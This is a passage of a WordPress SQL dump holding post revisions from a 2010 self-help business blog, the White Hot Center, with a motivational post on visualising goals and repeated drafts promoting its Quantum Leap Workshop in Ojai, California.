you must allow yourself to focus only on what you desire until you feel with unbending conviction the positive energy of this desire moving within you. This higher energy moving within you is not based on need, doubt, fear, anxiety or worry about what you are going to do to achieve your vision.\r\n\r\nPut another way, you must take no action whatsoever until you have visualized your desire and made it real enough in your creative mind that your next action will magically seem like the most perfectly logical next-step. Voila!–clarity and confidence will prevail in your mind– you will automatically know when it is time to take appropriate action.  And when you do, it will be effortless–doors of opportunity will open to you, and it will seem as though all the unseen forces have conspired in your favor.  How can you know your next logical step?  Here’s the test you can give yourself:\r\n<h2><span style="color: #808080;">If you are focused on your desire and still feel anxious, then you''re not ready for any action towards its achievement.</span></h2>\r\nYou will know you are ready for doing when you feel no strain, no effort or pain!  Anytime you are struggling mentally and physically, you are mis-creating. When you struggle or feel stuck, it''s because your magnetic point of attraction (your focus) is directed to that to which you are currently experiencing, not on your vision for a bigger, better future. Action is necessary but it is the last component of the creative process for realizing you''re truly on your way toward the bigger, better future.\r\n\r\n<strong>Always focus your creative attention on your vision. That''s all you must do. Allow it to become real for you through your deep emotional connection to it. When you do, you will be in a state of doing without doing or action without effort. That is the awesome sauce behind creating the results you desire in your business and in your whole life.\r\n</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the information we will engage ourselves in during the first of four 2-day <a title="Quantum Leap Workshop Information" href="http://whc.fbdev.org/hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater clarity and confidence to define a compelling vision for your future– and begin to achieve your goal of taking your business to the next level in an easy, relaxed, and joyful way. If you are interesting in attending, <a title="Quantum Leap Workshop Brochure" href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'The do nothing way of creating a compelling vision of your bigger future.', 0, '', 'inherit', 'open', 'open', '', '1151-autosave', '', '', '2010-12-27 15:51:39', '2010-12-27 22:51:39', '', 1151, 'http://www.whitehotcenter.com/2010/10/18/1151-autosave/', 0, 'revision', '', 0),
(1176, 2, '2010-10-07 16:18:28', '2010-10-07 23:18:28', '<span style="color: #808080;"> </span>\r\n\r\n<strong>\r\n</strong>\r\n<h1><strong>Early Registration is open!</strong></h1>\r\n<strong>\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">To learn more–take the leap and download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a>. If you would like more information on earlier registration prior to the official workshop registration site going live in November 2010, call the office 805 640 3920, or email Thomson Dawson.</span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;"><img class="alignnone size-full wp-image-1112" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2009/04/meditation.a.gif" alt="" width="495" height="246" />\r\n</span></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #000000;"></span></span><span style="color: #ff6600;"><span style="color: #000000;">Inspirational Resources\r\n</span></span></h1>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n<h2><span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></strong></span><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">www.oddpodz.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-07 16:18:28', '2010-10-07 23:18:28', '', 145, 'http://www.whitehotcenter.com/2010/10/07/145-revision-57/', 0, 'revision', '', 0),
(1177, 2, '2010-10-22 12:10:56', '2010-10-22 19:10:56', '<span style="color: #808080;"> </span>\r\n\r\n<strong>\r\n</strong>\r\n<h1><strong>Early Registration is open!</strong></h1>\r\n<strong>\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h1><span style="color: #ff6600;">Save $800 if you register before December 31, 2010\r\n</span></h1>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">To learn more–take the leap and download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a>. If you would like more information on earlier registration prior to the official workshop registration site going live in November 2010, call the office 805 640 3920, or email Thomson Dawson.</span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;"><img class="alignnone size-full wp-image-1112" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2009/04/meditation.a.gif" alt="" width="495" height="246" />\r\n</span></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #000000;"> </span></span><span style="color: #ff6600;"><span style="color: #000000;">Inspirational Resources\r\n</span></span></h1>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n<h2><span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></strong></span><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">www.oddpodz.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-22 12:10:56', '2010-10-22 19:10:56', '', 145, 'http://www.whitehotcenter.com/2010/10/22/145-revision-58/', 0, 'revision', '', 0);
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(1178, 2, '2010-10-22 14:00:35', '2010-10-22 21:00:35', '<span style="color: #808080;"> </span>\r\n\r\n<strong>\r\n</strong>\r\n<h1><strong>Early Registration is open!</strong></h1>\r\n<strong>\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h1><span style="color: #ff6600;"><span style="color: #ff0000;">Save $800 and register before December 31, 2010</span>\r\n</span></h1>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">To learn more–take the leap and download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a>. If you would like more information on earlier registration prior to the official workshop registration site going live in November 2010, call the office 805 640 3920, or email Thomson Dawson.</span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;"><img class="alignnone size-full wp-image-1112" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2009/04/meditation.a.gif" alt="" width="495" height="246" />\r\n</span></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #000000;"> </span></span><span style="color: #ff6600;"><span style="color: #000000;">Inspirational Resources\r\n</span></span></h1>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n<h2><span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></strong></span><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">oddpodz.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.biznik.com" target="_blank">biznik.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-22 14:00:35', '2010-10-22 21:00:35', '', 145, 'http://www.whitehotcenter.com/2010/10/22/145-revision-59/', 0, 'revision', '', 0),
(1179, 2, '2010-10-11 10:50:18', '2010-10-11 17:50:18', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly 18 months of thinking, dreaming, scheming, planning and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs.\r\n\r\nI''ve taken all I''ve learned in my 30 years of business and brand building experience and integrated this knowledge into a structure to help early stage entrepreneurs build a bigger vision for their future and take their businesses to the next level of growth.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, early stage entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this will sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\r\n\r\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Early Registration</strong>\r\nThe conference web site will be live in November 2010. You’ll be able to get all the details on the workshop content, venue, travel and conveniently paying online.  Meantime, you can download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a> here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to register early for this event, just send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March 2011!</h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Download Conference Information Brochure</a></h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-31', '', '', '2010-10-11 10:50:18', '2010-10-11 17:50:18', '', 1115, 'http://www.whitehotcenter.com/2010/10/11/1115-revision-31/', 0, 'revision', '', 0),
(1180, 2, '2010-10-22 14:14:44', '2010-10-22 21:14:44', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly 18 months of thinking, dreaming, scheming, planning and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs.\r\n\r\nI''ve taken all I''ve learned in my 30 years of business and brand building experience and integrated this knowledge into a structure to help early stage entrepreneurs build a bigger vision for their future and take their businesses to the next level of growth.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, early stage entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this will sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\r\n\r\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n\r\n<strong>Early Registration</strong>\r\nThe conference web site will be live in November 2010. You’ll be able to get all the details on the workshop content, venue, travel and conveniently paying online.  Meantime, you can download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a> here on the blog.  If you have further questions about the Quantum Leap Workshop, and would like to register early for this event, just send me an email. I’ll be happy to answer any questions you might have.\r\n<h2>Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March 2011!</h2>\r\n<h2><span style="color: #ff0000;">Save $800! Register before December 31,2010</span></h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Download Conference Information Brochure</a></h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-32', '', '', '2010-10-22 14:14:44', '2010-10-22 21:14:44', '', 1115, 'http://www.whitehotcenter.com/2010/10/22/1115-revision-32/', 0, 'revision', '', 0),
(1181, 2, '2010-10-22 14:15:23', '2010-10-22 21:15:23', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly 18 months of thinking, dreaming, scheming, planning and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative entrepreneurs.\r\n\r\nI''ve taken all I''ve learned in my 30 years of business and brand building experience and integrated this knowledge into a structure to help early stage entrepreneurs build a bigger vision for their future and take their businesses to the next level of growth.\r\n<h2><span style="color: #000000;">In March 2011, a select group of 24 forward-thinking, early stage entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this will sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n<h2><span style="color: #000000;">The  Quantum Leap Workshop is a year-long personal and business development  program designed for forward-thinking entrepreneurs who want more ideas,  clarity, confidence, and velocity to realize their bold vision for a  bigger future–and experience more money, freedom, fulfillment, and joy  in every area of their life!</span></h2>\r\nEven the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner.\r\n\r\nIf you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services.\r\n\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full 